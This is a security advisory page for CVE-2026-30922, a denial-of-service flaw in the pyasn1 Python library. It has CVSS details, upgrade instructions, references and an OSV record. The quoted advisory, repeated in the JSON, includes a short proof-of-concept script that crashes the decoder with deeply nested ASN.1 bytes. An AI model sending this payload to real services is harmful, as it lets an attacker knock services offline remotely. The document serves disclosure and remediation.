CVE-2026-30922: Pyasn1 Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-jr27-m4p2-rc6r
CVSS 7.5
CWE-835 CWE-674
Published
Advisory Summary

CVE-2026-30922 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')) affecting Pyasn1 libraries in the PyPI ecosystem. The issue involves denial of service in pyasn1 via unbounded recursion. Remediation is available by upgrading affected packages to version 0.6.3.

CVE-2026-30922 at a Glance

CVE Identifier CVE-2026-30922
GHSA Identifier GHSA-jr27-m4p2-rc6r
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')
Affected Product Pyasn1
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-30922

To remediate this vulnerability, upgrade all affected Pyasn1 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pyasn1 fixed: 0.6.3
pip install pyasn1>=0.6.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pyasn1

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-30922, inspect your installed packages using pip:

pip show pyasn1

Analyze the terminal output to locate any version of Pyasn1 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.6.3), your application is affected.

Note: The pip show pyasn1 command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop'), where the product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop. In Pyasn1, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application. ### Details The vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. `indefLenValueDecoder` (Line 998): ```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):``` This method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag. 2. `valueDecoder` (Lines 786 and 907): ```for component in decodeFun(substrate, componentType, **options):``` This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types. 4. `_decodeComponentsSchemaless` (Line 661): ```for component in decodeFun(substrate, **options):``` This method handles decoding when no schema is provided. In all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit. ### PoC ``` import sys from pyasn1.codec.ber import decoder sys.setrecursionlimit(100000) print("[*] Generating Recursion Bomb Payload...") depth = 50_000 chunk = b'\x30\x80' payload = chunk * depth print(f"[*] Payload size: {len(payload) / 1024:.2f} KB") print("[*] Triggering Decoder...") try: decoder.decode(payload) except RecursionError: print("[!] Crashed: Recursion Limit Hit") except MemoryError: print("[!] Crashed: Out of Memory") except Exception as e: print(f"[!] Crashed: {e}") ``` ``` [*] Payload size: 9.77 KB [*] Triggering Decoder... [!] Crashed: Recursion Limit Hit ``` ### Impact - This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion. - Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely. - Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack. ### Credits Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

CVE-2026-30922 Affected Pyasn1 Versions

1 component(s)
Fixed Versions:
0.6.3
Product / Package Ecosystem Affected Versions Fixed Version
pyasn1
PyPI
< 0.6.3
0.6.3

References

GitHub Advisory / Wiki ADVISORY
https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r
NVD — CVE-2026-30922 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-30922
Security Fix Commit FIX COMMIT
https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8
Security Fix Commit FIX COMMIT
https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0
access.redhat.com/errata/rhsa-2026:22... WEB
https://access.redhat.com/errata/RHSA-2026:22970
access.redhat.com/errata/rhsa-2026:22... WEB
https://access.redhat.com/errata/RHSA-2026:22987
access.redhat.com/errata/rhsa-2026:24... WEB
https://access.redhat.com/errata/RHSA-2026:24761
access.redhat.com/errata/rhsa-2026:24... WEB
https://access.redhat.com/errata/RHSA-2026:24762
access.redhat.com/errata/rhsa-2026:37... WEB
https://access.redhat.com/errata/RHSA-2026:37275
access.redhat.com/errata/rhsa-2026:41... WEB
https://access.redhat.com/errata/RHSA-2026:41928
access.redhat.com/errata/rhsa-2026:63... WEB
https://access.redhat.com/errata/RHSA-2026:6309
access.redhat.com/errata/rhsa-2026:65... WEB
https://access.redhat.com/errata/RHSA-2026:65126
access.redhat.com/errata/rhsa-2026:65... WEB
https://access.redhat.com/errata/RHSA-2026:6568
access.redhat.com/errata/rhsa-2026:67... WEB
https://access.redhat.com/errata/RHSA-2026:6720
access.redhat.com/errata/rhsa-2026:69... WEB
https://access.redhat.com/errata/RHSA-2026:6912
access.redhat.com/errata/rhsa-2026:69... WEB
https://access.redhat.com/errata/RHSA-2026:6926
access.redhat.com/errata/rhsa-2026:84... WEB
https://access.redhat.com/errata/RHSA-2026:8437
Pyasn1 Security Information SECURITY
https://access.redhat.com/security/cve/CVE-2026-30922
bugzilla.redhat.com/show_bug.cgi WEB
https://bugzilla.redhat.com/show_bug.cgi?id=2448553
Pyasn1 Source Repository REPOSITORY
https://github.com/pyasn1/pyasn1
Pyasn1 Release RELEASE
https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3
Pyasn1 Source Repository REPOSITORY
https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml
lists.debian.org/debian-lts-announce... WEB
https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html
Pyasn1 Security Information SECURITY
https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json
access.redhat.com/errata/rhsa-2026:10... WEB
https://access.redhat.com/errata/RHSA-2026:10184
access.redhat.com/errata/rhsa-2026:12... WEB
https://access.redhat.com/errata/RHSA-2026:12176
access.redhat.com/errata/rhsa-2026:13... WEB
https://access.redhat.com/errata/RHSA-2026:13508
access.redhat.com/errata/rhsa-2026:13... WEB
https://access.redhat.com/errata/RHSA-2026:13512
access.redhat.com/errata/rhsa-2026:13... WEB
https://access.redhat.com/errata/RHSA-2026:13545
access.redhat.com/errata/rhsa-2026:13... WEB
https://access.redhat.com/errata/RHSA-2026:13553
access.redhat.com/errata/rhsa-2026:13... WEB
https://access.redhat.com/errata/RHSA-2026:13902
access.redhat.com/errata/rhsa-2026:13... WEB
https://access.redhat.com/errata/RHSA-2026:13916
access.redhat.com/errata/rhsa-2026:13... WEB
https://access.redhat.com/errata/RHSA-2026:13917
access.redhat.com/errata/rhsa-2026:14... WEB
https://access.redhat.com/errata/RHSA-2026:14020
access.redhat.com/errata/rhsa-2026:16... WEB
https://access.redhat.com/errata/RHSA-2026:16009
access.redhat.com/errata/rhsa-2026:17... WEB
https://access.redhat.com/errata/RHSA-2026:17083
access.redhat.com/errata/rhsa-2026:17... WEB
https://access.redhat.com/errata/RHSA-2026:17611
access.redhat.com/errata/rhsa-2026:19... WEB
https://access.redhat.com/errata/RHSA-2026:19138
access.redhat.com/errata/rhsa-2026:19... WEB
https://access.redhat.com/errata/RHSA-2026:19355
access.redhat.com/errata/rhsa-2026:19... WEB
https://access.redhat.com/errata/RHSA-2026:19375
access.redhat.com/errata/rhsa-2026:19... WEB
https://access.redhat.com/errata/RHSA-2026:19712
access.redhat.com/errata/rhsa-2026:20... WEB
https://access.redhat.com/errata/RHSA-2026:20588
access.redhat.com/errata/rhsa-2026:22... WEB
https://access.redhat.com/errata/RHSA-2026:22131
access.redhat.com/errata/rhsa-2026:22... WEB
https://access.redhat.com/errata/RHSA-2026:22132
access.redhat.com/errata/rhsa-2026:22... WEB
https://access.redhat.com/errata/RHSA-2026:22133
access.redhat.com/errata/rhsa-2026:22... WEB
https://access.redhat.com/errata/RHSA-2026:22134
access.redhat.com/errata/rhsa-2026:22... WEB
https://access.redhat.com/errata/RHSA-2026:22135
access.redhat.com/errata/rhsa-2026:22... WEB
https://access.redhat.com/errata/RHSA-2026:22969
Pyasn1 Security Information SECURITY
http://www.openwall.com/lists/oss-security/2026/03/20/4

Frequently Asked Questions

What is CVE-2026-30922?
CVE-2026-30922 is a security vulnerability in Pyasn1 involving Denial of Service in pyasn1 via Unbounded Recursion under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop').
Which Pyasn1 versions are affected?
Affected versions include releases prior to 0.6.3 across affected packages: pyasn1.
What version fixes CVE-2026-30922?
Upgrading to 0.6.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pyasn1 affected?
Yes, pyasn1 is affected in releases prior to 0.6.3. Upgrade your dependency to 0.6.3 or later.
What is the CVSS score of CVE-2026-30922?
CVE-2026-30922 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-30922?
CVE-2026-30922 is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.).
How can I check PyPI dependencies for CVE-2026-30922?
Run the dependency tree command: 'pip show pyasn1'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jr27-m4p2-rc6r",
  "modified" : "2026-09-09T15:33:03Z",
  "published" : "2026-03-17T16:17:33Z",
  "aliases" : [ "CVE-2026-30922" ],
  "summary" : "Denial of Service in pyasn1 via Unbounded Recursion",
  "details" : "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b'\\x30\\x80' \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pyasn1"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.6.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.6.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:22970"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:22987"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:24761"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:24762"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:37275"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:41928"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:6309"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:65126"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:6568"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:6720"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:6912"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:6926"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:8437"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/security/cve/CVE-2026-30922"
  }, {
    "type" : "WEB",
    "url" : "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pyasn1/pyasn1"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
  }, {
    "type" : "WEB",
    "url" : "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:10184"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:12176"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:13508"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:13512"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:13545"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:13553"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:13902"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:13916"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:13917"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:14020"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:16009"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:17083"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:17611"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:19138"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:19355"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:19375"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:19712"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:20588"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:22131"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:22132"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:22133"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:22134"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:22135"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:22969"
  }, {
    "type" : "WEB",
    "url" : "http://www.openwall.com/lists/oss-security/2026/03/20/4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-674", "CWE-835" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-17T16:17:33Z",
    "nvd_published_at" : "2026-03-18T04:17:18Z"
  }
}